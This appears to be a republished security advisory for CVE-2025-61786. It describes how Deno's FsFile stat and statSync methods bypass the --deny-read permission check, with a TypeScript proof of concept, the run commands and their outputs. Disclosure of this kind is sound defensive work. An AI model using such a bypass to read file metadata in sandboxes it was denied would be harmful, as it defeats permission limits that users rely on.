Deno's --deny-read check does not prevent permission bypass
### Summary `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`) Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. ### PoC Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3 touch test1.txt ``` - `poc_file.stat.ts` ```ts // touch test1.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1 // deno run --allow-write=./ poc_file.stat.ts 1 async function poc1(){ using file = await Deno.open("./test1.txt", { read: false, write: true}); const fileInfo = await file.stat(); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2 // deno run --allow-write=./ poc_file.stat.ts 2 function poc2(){ using file = Deno.openSync("./test1.txt", { read: false, write: true}); const fileInfo = file.statSync(); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3 // deno run --allow-write=./ poc_file.stat.ts 3 async function poc3(){ // not executed const fileInfo = await Deno.stat("./test1.txt"); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4 // deno run --allow-write=./ poc_file.stat.ts 4 function poc4(){ // not executed const fileInfo = Deno.statSync("./test1.txt"); console.log(fileInfo.isFile); } async function main(){ const poc = Deno.args[0] || 1; const status = await Deno.permissions.query({ name: "read", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } } main() ``` Output: - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1` ``` PermissionStatus { state: "denied", onchange: null } true ``` - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2` ``` PermissionStatus { state: "denied", onchange: null } true ``` - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = await Deno.stat("./test1.txt"); ^ ... ``` - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = Deno.statSync("./test1.txt"); ^ ... ``` ### Impact Permission model bypass
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2025-61786US | — | — | ||
Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/denoland/denoPACKAGE
- https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ecWEB
- https://github.com/denoland/deno/pull/30876WEB
- https://github.com/denoland/deno/releases/tag/v2.2.15WEB
- https://github.com/denoland/deno/releases/tag/v2.5.3WEB
- https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9WEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-61786ADVISORY
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan